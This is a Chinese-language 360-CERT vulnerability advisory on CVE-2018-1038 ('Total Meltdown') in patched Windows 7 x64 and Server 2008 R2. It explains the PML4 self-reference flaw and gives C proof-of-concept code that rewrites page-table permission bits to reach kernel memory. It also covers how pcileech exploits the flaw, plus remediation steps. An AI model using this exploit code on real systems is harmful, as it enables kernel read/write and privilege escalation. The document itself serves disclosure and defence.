报告编号: B6-2018-033001
报告来源: 360-CERT
报告作者: 360-CERT,360安全卫士
更新日期: 2018-03-30
0x00 漏洞概述
近日,微软2018年1月和2月的Windows7 x64 和 Windows Server 2008 R2安全补丁中被发现存在严重漏洞(Total Meltdown),补丁中错误地将PML4权限设定成用户级,导致任意用户态进程可对系统内核进行任意读写。
360-CERT对此漏洞进行了相关的分析,建议相关受影响用户可以通过360安全卫士进行补丁升级。
0x01 漏洞影响面
漏洞危害等级:高危
漏洞编号:CVE-2018-1038
影响版本:
Windows 7 x64
Windows Server 2008 R2
0x02 x64分页原理
Intel X64使用的是四级分页模式:PML4(Page Map Level 4),PDPT(Page Directory Pointer),PD(Page Directory),PT(Page Table Entry)。
每张表有512个条目,所以理论上64位CPU可以寻址512*512*512*512*4KB=256TB的内存,但是由于48位物理地址的限制,实际上有效的虚拟地址属于下面这两个范围:0至7FFF'FFFFFFFF(512GB*256)或FFFF8000'00000000至FFFFFFFF'FFFFFFFF(512GB*256)。
微软采取了一种称为self-ref entry(自引用条目)的技术,在最高级别的页表中有一个条目指向自己。在64位系统中,任意自引用条目使用的物理地址应该指向PML4基地址的物理地址,与CR3寄存器所指向的地址相同。
0x03 漏洞细节
在Windows7 x64和Windows Server 2008 R2中,系统将PML4表中0x1ED这个固定位置存放指向自己的入口,对应的虚拟地址计算如下:
viraddr
=0xFFFF000000000000+(0x1ed<<12)+(0x1ed<<21)+ (0x1ed<<30)+ (0x1ed<<39)
=0xFFFFF6FB7DBED000
而安装完1月和2月安全更新后系统将虚拟地址0xFFFFF6FB7DBED000指向的内存权限错误地设置为用户态可读,漏洞原理如下。 四级分页结构: PML4、PDPT、PD、PT
由于PML4自引用的权限位为可读可写
所以利用自引用,黑客可以任意修改PML4、PDPT、PD、PT中的任意数据
正常虚拟地址到物理地址的映射:
PML4-----PDPT-----PD-------PT----PAGE-----PAddr
利用自引用访问受保护的数据:
第一步修改页保护位(假设地址对应的PML4、PDPT、PD、PT对该用户来说都是可读可写,如果不,原理跟此一样),首先想办法获得与该页对应的PTE(利用自引用)地址:
方法: PML4-----PML4----PDPT------PD-----PT-------PTE
修改保护位为可读可写。
第二步:直接修改数据(由于第一步已经修改权限位,所以不会引发异常)
证明代码如下:
#include
#include
#include
#define QWORD unsigned long long
#define BASE 0xFFFF000000000000
#define PML4 0xFFFFF6FB7DBED000
#define PML4SELF_IDX 0x1ed
QWORD getAddr(QWORD base,QWORD pml4Idx,QWORD pdptIdx,QWORD pdIdx,QWORD ptIdx,QWORD offsetIdx);
void testAddr(unsigned char *p);
int main(int argc, char *argv)
{
unsigned char *p = (unsigned char*)getAddr(BASE, PML4SELF_IDX, PML4SELF_IDX, PML4SELF_IDX, 1, 0);//到达PDPT
testAddr(p);
QWORD *pte = (QWORD *)getAddr(BASE, PML4SELF_IDX, PML4SELF_IDX, PML4SELF_IDX, PML4SELF_IDX, 8);
printf("%ulld\n", *pte);
*pte = (*pte | 7);
testAddr(p);
return 0;
}
QWORD getAddr(QWORD base, QWORD pml4Idx, QWORD pdptIdx, QWORD pdIdx, QWORD ptIdx, QWORD offsetIdx) {
return base = base + offsetIdx + (ptIdx<<12) + (pdIdx<<21) + (pdptIdx<<30) + (pml4Idx<<39);
}
void testAddr(unsigned char *p) {
__try {
int i = *p;
printf("access 0x%p sucess\n", p);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("access 0x%p error\n", p);
}
}
0x04 pcileech工具原理
漏洞作者根据漏洞原理将内存读取工具pcileech更新到了3.2版本使得其能够利用该漏洞。
通过在0x10000和0x2f000之间插入32页来设置页表结构。0x10000页面将作为PDPT。0x10000到0x2e000之间的另外31页将作为PD,其将映射2MB页的物理内存。使用当前算法这将允许映射最大31*512*2MB=31744MB的物理地址空间,大约30GB。
0x05 修复建议
1.使用360安全卫士扫描系统漏洞并修复
2.下载专用检测工具:http://down.360safe.com/totalmeltdown_fix.exe
0x06 时间线
2018-01-03 微软官方发布安全更新(KB4056897)
2018-02-13 微软官方发布安全更新(KB4074587)
2018-03-13 微软官方发布安全更新(KB4088878),360安全卫士推送相关补丁
2018-03-27 TotalMeltdown漏洞细节被公开
2018-03-30 360-CERT发布漏洞预警分析报告
2018-03-30 360安全卫士发布独立修复工具